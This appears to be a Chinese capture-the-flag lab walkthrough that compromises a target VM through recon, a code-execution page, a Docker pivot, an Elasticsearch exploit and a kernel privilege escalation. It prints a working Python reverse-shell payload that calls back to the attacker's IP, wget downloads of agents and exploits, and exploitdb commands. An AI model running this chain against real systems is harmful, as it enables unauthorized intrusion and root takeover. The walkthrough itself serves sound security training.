一、前置知识:
1、arp-scan
Arp-scan的使用_她叫常玉莹的博客-CSDN博客_arp-scan
2、venom——内网穿透工具
链接:Releases · Dliv3/Venom · GitHub
3、proxyproxychains
proxychains功能:proxychains可以让命令通过指定的代理访问网络。
二、打靶步骤
1、靶机和主机处于同一网段,所以使用arp进行扫描
判断倒数第二个应该是靶机的ip
2、(1)nmap探测靶机开放端口:
(2)nmap通过22和5000端口探测服务版本:
可以看到22端口上跑的ssh,基于乌班图系统;5000端口跑的httpd服务这不知道是什么,百度一下,基于python语言。
3、既然发现了web的应用,在网页上搜一下看有没有web漏洞什么的,于是打开了一个页面:
4、查看一下隐藏路径,扫描一下目录,思路:可以用burpsuit暴破常见目录,或者御剑扫描目录(win平台),或者dirsearch(kali)
发现一个admin:
打开看到一个代码执行的网页,显然这里可以试一下xss攻击。百度一个python的反弹shell脚本进行提交,修改一下ip和端口:
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.118.128",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);
同时nc启动监听:
kali端会有反弹的shell:
ls一下查看当前目录文件,id一下查看当前获得的权限
虽然看到了root权限,但中等难度的靶机没有这么简单
5、ls下看到dockerfile文件,怀疑目前所在的是一个docker容器的系统,查看dockerfile文件,发现一些经典的docker操作指令:
既然是在docker容器里,那么查看一下当前docker容器的ip:
也可以说是当前网站的内网网段,接下来的思路就是在内网进行主机的发现
6、发现内网网段比较大,16位的子网掩码不允许我们手动一个一个ping,通过一个简单的脚本实现一个内网网段的循环进行ping:
for i in $(seq 1 10); do ping -c 172.17.0.$i; done
可以看到只有.1和.2回包了,使用kali直接探测内网网段的话行不通,因此需要进行内网穿透技术把路由打通。
7、venom进行内网渗透
(1)由于目标机是linux系统,选择将agent_linux_64发送到目标机,重命名为a方便操作;
(2)在本地建立一个侦听端口,等待目标系统和其建立反弹链接;
(3)在kali中启动一个http服务,然后再目标机中运行wget直接通过wget将kali上的程序下载下来;
在kali中进入v1.1.0目录,执行python3调用http启动sever服务,监听80端口。(这样就在kali本机启动了一个http的web服务)
(4)再目标机中使用wget通过http服务将a下载下来,并赋予其可执行的权限:
(5)通过a连接远程的服务器端;
./a rhos (kali-ip) -rport 9999
./a -rhost (kali ip) -rport 9999
(6)kali本机venom中查看发现已经有一个节点连上来了,goto到这个节点,并在这个节点上启动一个socks的侦听端口1080:
8、为了让kali中的所有工具都可以去访问目标机使用,需要用到proxyproxychains,通过proxychain挂载当前的socks代理。让nmap等工具都可以使用代理去扫目标机。
(1)修改proxychains配置文件:
(2)使用poxychains对前面ping到的特殊.1和.2ip进行扫描:
发现完全一样
通过浏览器进行访问(设置代理)也发现一样
也相同,说明172.17.0.1就是192.168.1.55那台容器的宿主机,可判断172.17.0.1就是我们要找的目标主机
同样探测.2
(Elasticsearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎,基于RESTful web接口。Elasticsearch是用Java语言开发的,并作为Apache许可条款下的开放源码发布,是一种流行的企业级搜索引擎。)
9、 kali中包含很多已知的漏洞代码。
(1) 搜索Elasticsearch:
前两行的都是远程代码执行的命令代码,存放在后面的目录。copy过来尝试哪个可以攻入目标服务器
(2)将36337脚本copy到当前目录,查看一下
cp /usr/share/exploitdb/exploits/linux/remote/36337.py .
发现该脚本使用python2语言进行编写,因此调用python2执行36337;查看id权限,为root,也是容器的root权限。
(3)ls查看目录,发现passwords文件
拿到用户密码hash值,百度md5破解:
(4)拿着破解的用户和密码,尝试登陆开放了22端口的目标主机(192.168.1.55),成功登录目标主机:
查看权限 ,为普通用户
10、提权
(1)查看内核为3.13利用内核漏洞进行提取
(2)查kali内有没有3.13的漏洞
实际渗透过程中要对可利用漏洞依次尝试
(3)选择其中一种漏洞,copy到本地,然后查看:
这是c语言文件,先用gcc对其进行编译,但尝试发现目标机上没有安装gcc:
因此需要现在kali上进行编译,但查看源代码发现,代码还包含着对一个文件的gcc编译,修改代码,删除gcc编译部分,直接对需要编译的文件在kali上编译好:
(4)kali使用gcc编译
找到刚刚c代码中包含的需要编译的文件ofs-lib.so,并进行copy
(5)将exp文件和ofs-lib.so文件一起copy到宿主机中
kali开放http.server服务,宿主机wget下载文件,并将两个文件移动到目标机的tmp目录下方便执行。然后chmod赋予其执行权,执行exp文件,查看权限,成功将john提为root权限: